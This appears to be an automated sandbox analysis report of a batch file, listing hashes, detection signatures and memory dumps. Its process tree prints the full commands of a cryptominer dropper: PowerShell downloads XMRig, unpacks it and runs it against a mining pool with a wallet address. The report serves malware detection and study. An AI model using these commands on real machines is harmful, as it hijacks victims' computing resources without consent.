Resubmissions

Analysis

  • max time kernel
    1797s
  • max time network
    1785s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    24/01/2024, 09:03

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4432
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4984

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    83d5435b85f29af8561cbdde9b6cf569

    SHA1

    393591d0d4c835e14791ba2d8ce0a98b72f2b756

    SHA256

    5a974bcc25da7df8ec49b4b72fd50d78e916df7807365350e246472152653920

    SHA512

    4559fea7b6d8d45caa354783bcb70a5e612a0179e560a2f52173e42755e70300e09ed04348a340a422ba6b5234558f58d57f555fe03e44c922c076b1f767249a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ykzzuxmi.j2t.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    2.0MB

    MD5

    52b9c0772f6e8b834a004b021709f358

    SHA1

    a7bd100ba65eb20e673fc81acc5ddcbebb4ab247

    SHA256

    29a64563ba7cb998f096815e52b15cbb43e209ae075e0241805d25ab29a16550

    SHA512

    084bcb16492c0a511bd428d4b78246da8d74f86ef67000712b97aed787834e440110d6f6fc5757a8354a2fe0b8be11c45af28d4d8079aac419671243797f16d3

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    1.2MB

    MD5

    6ecb092f4524ef801f1b453de391f06a

    SHA1

    7c4130af97d7c8f6f270aec4eef60b333fe3e636

    SHA256

    ea0dabbb58ceb813a2fc38991c99c8f515884d36c3292982f47124827f6174f3

    SHA512

    ad82e7888fb13f126249c11bbaed981b992a69b9b42383be56eff2e1965b1ca160ba5536be358169c9e829da37c92aa2b29c8eb2cf916bea67d7c3aa999433ce

  • memory/3356-4-0x0000020B451A0000-0x0000020B451C2000-memory.dmp

    Filesize

    136KB

  • memory/3356-6-0x00007FF83EAC0000-0x00007FF83F4AC000-memory.dmp

    Filesize

    9.9MB

  • memory/3356-8-0x0000020B451E0000-0x0000020B451F0000-memory.dmp

    Filesize

    64KB

  • memory/3356-10-0x0000020B45370000-0x0000020B453E6000-memory.dmp

    Filesize

    472KB

  • memory/3356-9-0x0000020B451E0000-0x0000020B451F0000-memory.dmp

    Filesize

    64KB

  • memory/3356-25-0x0000020B451E0000-0x0000020B451F0000-memory.dmp

    Filesize

    64KB

  • memory/3356-30-0x00007FF83EAC0000-0x00007FF83F4AC000-memory.dmp

    Filesize

    9.9MB

  • memory/4432-37-0x00007FF83EAC0000-0x00007FF83F4AC000-memory.dmp

    Filesize

    9.9MB

  • memory/4432-38-0x0000027573F50000-0x0000027573F60000-memory.dmp

    Filesize

    64KB

  • memory/4432-40-0x0000027573F50000-0x0000027573F60000-memory.dmp

    Filesize

    64KB

  • memory/4432-62-0x0000027573F50000-0x0000027573F60000-memory.dmp

    Filesize

    64KB

  • memory/4432-89-0x0000027573F40000-0x0000027573F4A000-memory.dmp

    Filesize

    40KB

  • memory/4432-76-0x00000275740C0000-0x00000275740D2000-memory.dmp

    Filesize

    72KB

  • memory/4432-113-0x00007FF83EAC0000-0x00007FF83F4AC000-memory.dmp

    Filesize

    9.9MB

  • memory/4984-141-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-151-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-118-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-119-0x000001E6D5E40000-0x000001E6D5E60000-memory.dmp

    Filesize

    128KB

  • memory/4984-120-0x000001E6D5E60000-0x000001E6D5E80000-memory.dmp

    Filesize

    128KB

  • memory/4984-121-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-122-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-124-0x000001E6D5E40000-0x000001E6D5E60000-memory.dmp

    Filesize

    128KB

  • memory/4984-123-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-125-0x000001E6D5E60000-0x000001E6D5E80000-memory.dmp

    Filesize

    128KB

  • memory/4984-126-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-127-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-128-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-129-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-130-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-131-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-132-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-133-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-134-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-135-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-136-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-137-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-138-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-139-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-140-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-116-0x000001E6D44D0000-0x000001E6D44F0000-memory.dmp

    Filesize

    128KB

  • memory/4984-142-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-143-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-144-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-145-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-146-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-147-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-148-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-149-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-150-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-117-0x000001E6D5E00000-0x000001E6D5E40000-memory.dmp

    Filesize

    256KB

  • memory/4984-152-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-153-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-154-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-155-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-156-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-157-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-158-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-159-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-160-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-161-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-162-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-163-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-164-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-165-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-166-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-167-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-168-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-169-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-170-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-171-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-172-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-173-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-174-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-175-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-176-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-177-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-178-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-179-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-180-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-181-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-182-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-183-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-184-0x00007FF7C7C30000-0x00007FF7C8733000-memory.dmp

    Filesize

    11.0MB